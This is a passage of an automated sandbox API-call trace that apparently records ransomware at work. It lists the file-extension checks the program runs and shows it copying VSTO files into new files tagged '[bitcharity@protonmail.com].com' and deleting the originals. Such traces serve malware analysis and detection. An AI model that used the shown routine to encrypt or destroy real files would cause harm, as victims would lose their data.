lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.325] lstrlenW (lpString=".pdf") returned 4 [0295.325] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.325] lstrlenW (lpString=".xls") returned 4 [0295.325] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.325] lstrlenW (lpString=".xlsx") returned 5 [0295.325] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.325] lstrlenW (lpString=".ppt") returned 4 [0295.325] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.325] lstrlenW (lpString=".zip") returned 4 [0295.325] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.325] lstrlenW (lpString=".rar") returned 4 [0295.325] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.325] lstrlenW (lpString=".bz2") returned 4 [0295.325] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.325] lstrlenW (lpString=".7z") returned 3 [0295.325] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.326] lstrlenW (lpString=".dbf") returned 4 [0295.326] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.326] lstrlenW (lpString=".1cd") returned 4 [0295.326] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.326] lstrlenW (lpString=".jpg") returned 4 [0295.326] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.326] lstrlenW (lpString=".doc") returned 4 [0295.326] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.326] lstrlenW (lpString=".docx") returned 5 [0295.326] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.326] lstrlenW (lpString=".pdf") returned 4 [0295.326] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.326] lstrlenW (lpString=".xls") returned 4 [0295.326] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.326] lstrlenW (lpString=".xlsx") returned 5 [0295.326] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.326] lstrlenW (lpString=".ppt") returned 4 [0295.326] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.326] lstrlenW (lpString=".zip") returned 4 [0295.326] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.326] lstrlenW (lpString=".rar") returned 4 [0295.326] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.327] lstrlenW (lpString=".bz2") returned 4 [0295.327] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.327] lstrlenW (lpString=".7z") returned 3 [0295.327] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.327] lstrlenW (lpString=".dbf") returned 4 [0295.327] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.327] lstrlenW (lpString=".1cd") returned 4 [0295.327] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0295.327] lstrlenW (lpString=".jpg") returned 4 [0295.327] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.327] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0295.327] lstrlenW (lpString="VSTOLoaderUI.dll") returned 16 [0295.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0295.328] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=20608) returned 1 [0295.328] CloseHandle (hObject=0x10c4) returned 1 [0295.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0295.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0295.328] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.328] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0295.329] GetLastError () returned 0x0 [0295.329] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x5080, lpOverlapped=0x0) returned 1 [0296.204] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x5090, lpOverlapped=0x0) returned 1 [0296.205] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.205] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xf4, lpOverlapped=0x0) returned 1 [0296.205] SetEndOfFile (hFile=0x10a0) returned 1 [0296.205] CloseHandle (hObject=0x10a0) returned 1 [0296.206] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.206] SetEndOfFile (hFile=0x10c4) returned 1 [0296.206] CloseHandle (hObject=0x10c4) returned 1 [0296.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.207] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1 [0296.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.207] lstrlenW (lpString=".doc") returned 4 [0296.207] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.207] lstrlenW (lpString=".docx") returned 5 [0296.207] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0296.207] lstrlenW (lpString=".pdf") returned 4 [0296.207] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.207] lstrlenW (lpString=".xls") returned 4 [0296.207] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.207] lstrlenW (lpString=".xlsx") returned 5 [0296.207] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0296.207] lstrlenW (lpString=".ppt") returned 4 [0296.207] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.207] lstrlenW (lpString=".zip") returned 4 [0296.207] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.207] lstrlenW (lpString=".rar") returned 4 [0296.207] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.207] lstrlenW (lpString=".bz2") returned 4 [0296.207] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.207] lstrlenW (lpString=".7z") returned 3 [0296.207] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.207] lstrlenW (lpString=".dbf") returned 4 [0296.207] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.208] lstrlenW (lpString=".1cd") returned 4 [0296.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.208] lstrlenW (lpString=".jpg") returned 4 [0296.208] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.208] lstrlenW (lpString=".doc") returned 4 [0296.208] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.208] lstrlenW (lpString=".docx") returned 5 [0296.208] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0296.208] lstrlenW (lpString=".pdf") returned 4 [0296.208] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.208] lstrlenW (lpString=".xls") returned 4 [0296.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.208] lstrlenW (lpString=".xlsx") returned 5 [0296.208] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0296.208] lstrlenW (lpString=".ppt") returned 4 [0296.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.208] lstrlenW (lpString=".zip") returned 4 [0296.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.208] lstrlenW (lpString=".rar") returned 4 [0296.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.208] lstrlenW (lpString=".bz2") returned 4 [0296.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.208] lstrlenW (lpString=".7z") returned 3 [0296.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.208] lstrlenW (lpString=".dbf") returned 4 [0296.208] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.208] lstrlenW (lpString=".1cd") returned 4 [0296.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0296.209] lstrlenW (lpString=".jpg") returned 4 [0296.209] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.209] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.209] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23 [0296.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0296.209] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=48872) returned 1 [0296.209] CloseHandle (hObject=0x10c4) returned 1 [0296.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0296.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0296.209] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.210] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0296.210] GetLastError () returned 0x0 [0296.210] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0xbee8, lpOverlapped=0x0) returned 1 [0296.293] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xbef0, lpOverlapped=0x0) returned 1 [0296.294] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.295] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x102, lpOverlapped=0x0) returned 1 [0296.295] SetEndOfFile (hFile=0x10a0) returned 1 [0296.295] CloseHandle (hObject=0x10a0) returned 1 [0296.295] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.295] SetEndOfFile (hFile=0x10c4) returned 1 [0296.296] CloseHandle (hObject=0x10c4) returned 1 [0296.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.297] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1 [0296.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.297] lstrlenW (lpString=".doc") returned 4 [0296.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.297] lstrlenW (lpString=".docx") returned 5 [0296.297] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0296.297] lstrlenW (lpString=".pdf") returned 4 [0296.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.297] lstrlenW (lpString=".xls") returned 4 [0296.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.297] lstrlenW (lpString=".xlsx") returned 5 [0296.297] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0296.297] lstrlenW (lpString=".ppt") returned 4 [0296.297] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.297] lstrlenW (lpString=".zip") returned 4 [0296.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.297] lstrlenW (lpString=".rar") returned 4 [0296.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.298] lstrlenW (lpString=".bz2") returned 4 [0296.298] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.298] lstrlenW (lpString=".7z") returned 3 [0296.298] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.298] lstrlenW (lpString=".dbf") returned 4 [0296.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.298] lstrlenW (lpString=".1cd") returned 4 [0296.298] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.298] lstrlenW (lpString=".jpg") returned 4 [0296.298] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.298] lstrlenW (lpString=".doc") returned 4 [0296.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.298] lstrlenW (lpString=".docx") returned 5 [0296.298] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0296.298] lstrlenW (lpString=".pdf") returned 4 [0296.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.298] lstrlenW (lpString=".xls") returned 4 [0296.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.298] lstrlenW (lpString=".xlsx") returned 5 [0296.298] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0296.299] lstrlenW (lpString=".ppt") returned 4 [0296.299] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.299] lstrlenW (lpString=".zip") returned 4 [0296.299] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.299] lstrlenW (lpString=".rar") returned 4 [0296.299] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.299] lstrlenW (lpString=".bz2") returned 4 [0296.299] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.299] lstrlenW (lpString=".7z") returned 3 [0296.299] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.299] lstrlenW (lpString=".dbf") returned 4 [0296.299] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.299] lstrlenW (lpString=".1cd") returned 4 [0296.299] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0296.299] lstrlenW (lpString=".jpg") returned 4 [0296.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.300] lstrcmpiW (lpString1=".tlb", lpString2=".com") returned 1 [0296.300] lstrlenW (lpString="vstoee100.tlb") returned 13 [0296.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0296.328] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=17048) returned 1 [0296.328] CloseHandle (hObject=0x1098) returned 1 [0296.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0296.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0296.329] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.329] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0296.329] GetLastError () returned 0x0 [0296.330] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4298, lpOverlapped=0x0) returned 1 [0296.513] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0296.514] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.514] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xee, lpOverlapped=0x0) returned 1 [0296.514] SetEndOfFile (hFile=0x10c4) returned 1 [0296.514] CloseHandle (hObject=0x10c4) returned 1 [0296.514] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.515] SetEndOfFile (hFile=0x1098) returned 1 [0296.515] CloseHandle (hObject=0x1098) returned 1 [0296.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.516] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0296.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.516] lstrlenW (lpString=".doc") returned 4 [0296.516] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0296.516] lstrlenW (lpString=".docx") returned 5 [0296.516] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0296.516] lstrlenW (lpString=".pdf") returned 4 [0296.516] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0296.516] lstrlenW (lpString=".xls") returned 4 [0296.516] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0296.516] lstrlenW (lpString=".xlsx") returned 5 [0296.517] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0296.517] lstrlenW (lpString=".ppt") returned 4 [0296.517] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0296.517] lstrlenW (lpString="C:\\Program 